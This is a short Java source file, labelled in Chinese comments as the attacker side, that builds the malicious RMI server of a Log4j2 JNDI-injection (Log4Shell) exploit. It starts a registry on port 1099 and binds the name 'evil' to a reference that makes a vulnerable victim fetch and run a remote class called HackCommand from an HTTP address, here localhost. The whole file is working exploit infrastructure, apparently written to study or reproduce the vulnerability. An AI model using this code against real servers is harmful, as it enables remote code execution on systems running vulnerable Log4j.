package log4j2;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

/**
 * @Author tyy
 * @Description 攻击方
 * @Since 2021/12/26
 */
public class RmiServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        /**
         * 远程加载时使用的类名
         * 加载的class中需要实例化类的名称
         * 提供classes数据的地址可以是file/ftp/http等协议
         * */
        Reference reference = new Reference("log4j2.HackCommand", "log4j2.HackCommand", "http://127.0.0.1:8080/");
        /**
         * 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject
         * 故不能作为远程对象bind到注册中心
         * 需要使用ReferenceWrapper对Reference的实例进行封装
         */
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        /**
         * 绑定RMI服务到1099端口Object 提供恶意类的RMI服务
         */
        LocateRegistry.createRegistry(1099).bind("evil", referenceWrapper);

    }
}
